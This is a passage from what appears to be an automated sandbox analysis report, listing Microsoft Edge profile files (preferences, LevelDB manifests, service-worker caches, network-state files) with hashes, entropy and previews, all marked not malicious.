ontinuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF418e3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10200
Entropy (8bit):	5.122944162548479
Encrypted:	false
SSDEEP:	192:st6kdpHs/YsZihUkkR9ZH8pbV+F+tQw766W6aFIMY+PvYJ:st6QHs/YfhrbGIQwm6W6aTYf
MD5:	B581322BE6AD812959AA24B79CF7F972
SHA1:	37C1455EB4F0C2B872B9B7E53D5FAD211BF5399E
SHA-256:	D4A614BF2A332B0628190C9DAE166753ED3360D2E65B7FE234BF852692D2E84F
SHA-512:	98483603FD116DC7B416AF434C43760A92AC5BEACB3A308763F085375E371F4B795FF9640F9C5BEB71838A5984A276654FB8D3976631C6049CBC5A10523E9D8C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF475e8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10200
Entropy (8bit):	5.122944162548479
Encrypted:	false
SSDEEP:	192:st6kdpHs/YsZihUkkR9ZH8pbV+F+tQw766W6aFIMY+PvYJ:st6QHs/YfhrbGIQwm6W6aTYf
MD5:	B581322BE6AD812959AA24B79CF7F972
SHA1:	37C1455EB4F0C2B872B9B7E53D5FAD211BF5399E
SHA-256:	D4A614BF2A332B0628190C9DAE166753ED3360D2E65B7FE234BF852692D2E84F
SHA-512:	98483603FD116DC7B416AF434C43760A92AC5BEACB3A308763F085375E371F4B795FF9640F9C5BEB71838A5984A276654FB8D3976631C6049CBC5A10523E9D8C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376254939502314","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558309844018129
Encrypted:	false
SSDEEP:	768:JJAx7T7pLGLpIRWPsefza8F1+UoAYDCx9Tuqh0VfUC9xbog/OVEh9dBrwkZp3tuV:JJAx7FcpIRWPsefzau1jalbdykntu
MD5:	3D359D35A3952D029123D4D0C23226BE
SHA1:	794C32D7AA4144BD7EF499CA15582C1E8A52CEC0
SHA-256:	A48518BBEDC085F3672D508FE1D8BB76657466C6A2FC009670E3CB85207C7D2E
SHA-512:	5003F6C804D40AF6BEEB191D40D0A54835E6AB302CFA4353C7BAD1820AF80060E5736044F0BDA26F01FB6C99DAAA8949A756DFFBDBF89D65D45EBCBD964D352B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376254938691638","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376254938691638","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3b70c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558309844018129
Encrypted:	false
SSDEEP:	768:JJAx7T7pLGLpIRWPsefza8F1+UoAYDCx9Tuqh0VfUC9xbog/OVEh9dBrwkZp3tuV:JJAx7FcpIRWPsefzau1jalbdykntu
MD5:	3D359D35A3952D029123D4D0C23226BE
SHA1:	794C32D7AA4144BD7EF499CA15582C1E8A52CEC0
SHA-256:	A48518BBEDC085F3672D508FE1D8BB76657466C6A2FC009670E3CB85207C7D2E
SHA-512:	5003F6C804D40AF6BEEB191D40D0A54835E6AB302CFA4353C7BAD1820AF80060E5736044F0BDA26F01FB6C99DAAA8949A756DFFBDBF89D65D45EBCBD964D352B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376254938691638","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376254938691638","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ec55.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558309844018129
Encrypted:	false
SSDEEP:	768:JJAx7T7pLGLpIRWPsefza8F1+UoAYDCx9Tuqh0VfUC9xbog/OVEh9dBrwkZp3tuV:JJAx7FcpIRWPsefzau1jalbdykntu
MD5:	3D359D35A3952D029123D4D0C23226BE
SHA1:	794C32D7AA4144BD7EF499CA15582C1E8A52CEC0
SHA-256:	A48518BBEDC085F3672D508FE1D8BB76657466C6A2FC009670E3CB85207C7D2E
SHA-512:	5003F6C804D40AF6BEEB191D40D0A54835E6AB302CFA4353C7BAD1820AF80060E5736044F0BDA26F01FB6C99DAAA8949A756DFFBDBF89D65D45EBCBD964D352B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376254938691638","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376254938691638","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114463
Entropy (8bit):	5.57984946771997
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqnnNo:d9LyxPXfOxr1lMe1nL/CL/TXEmilRq
MD5:	93BBC23446281F6680C88279D3C2D8A6
SHA1:	A677CA669847FE31F863E7C122DD268A0DE62337
SHA-256:	32FD4B4255C18513B8C8CD3FFF989499F058AF5308CD489374CDE48F65949312
SHA-512:	BA9AD5B50C3828FE613FE4D653D3E03B2D590D7EF7736F769EBE3A81E670C36BB1718C5496F2FBC5B48E8AAA2C93E274767595BE7B14814B277A831162D7177C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188961
Entropy (8bit):	6.386569725385251
Encrypted:	false
SSDEEP:	3072:SaHA+9RBFCeswGU0BZpL/SMMQrJRpdl3cKV9BSw:xsw4BbL/rfrNdBV5
MD5:	ADE3554C86F00448FBDA795877C67747
SHA1:	E43754D456CD81B05715FFD381AC8538C6B2D942
SHA-256:	10042235A56F12CD13C8C4D0E30D05D0272286080800F9236255F7B013AD0531
SHA-512:	754D338F806F04E48BB865C89C889662607D2215A106C7F187F6AA8A534D1783311F19D70E72DCF706670AA47BCD44F3DF92727653B8F3CA90FE4856111A4CF8
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc..S.....exports...Rc...K....module....Rcvx......define....Rb>.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m."dh.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:w5yNAyXl/lR/lxEUw2n:w5gAKCN2n
MD5:	7F31558FA3A9AD978088003F1C19C5BF
SHA1:	95C99F911B960887E1A469265130C009D2473D4E
SHA-256:	7587A16DA6E9EFDB147CE2F015321D4E92CBD7D72D06AC6F568E68D4335F4C46
SHA-512:	BA3EF7B1E857DF55A009DFF99BB0C68971D0D788EE70B7732D11B93B4F553D8DED95036B27D844E9890E5A53694BF545596B7D0B81A227A6A020AA8A129D5791
Malicious:	false
Preview:	@.....4.oy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:w5yNAyXl/lR/lxEUw2n:w5gAKCN2n
MD5:	7F31558FA3A9AD978088003F1C19C5BF
SHA1:	95C99F911B960887E1A469265130C009D2473D4E
SHA-256:	7587A16DA6E9EFDB147CE2F015321D4E92CBD7D72D06AC6F568E68D4335F4C46
SHA-512:	BA3EF7B1E857DF55A009DFF99BB0C68971D0D788EE70B7732D11B93B4F553D8DED95036B27D844E9890E5A53694BF545596B7D0B81A227A6A020AA8A129D5791
Malicious:	false
Preview:	@.....4.oy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3e262.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:w5yNAyXl/lR/lxEUw2n:w5gAKCN2n
MD5:	7F31558FA3A9AD978088003F1C19C5BF
SHA1:	95C99F911B960887E1A469265130C009D2473D4E
SHA-256:	7587A16DA6E9EFDB147CE2F015321D4E92CBD7D72D06AC6F568E68D4335F4C46
SHA-512:	BA3EF7B1E857DF55A009DFF99BB0C68971D0D788EE70B7732D11B93B4F553D8DED95036B27D844E9890E5A53694BF545596B7D0B81A227A6A020AA8A129D5791
Malicious:	false
Preview:	@.....4.oy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\395ec9f8-ca36-4dee-86b9-ead2c6052ae6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\45e51b34-8164-4de0-abd2-1b21a4544bcd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\68297174-14ce-4513-88f2-3b6954f792c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF4005a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF384b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF44b9c.TMP (copy)

Download File

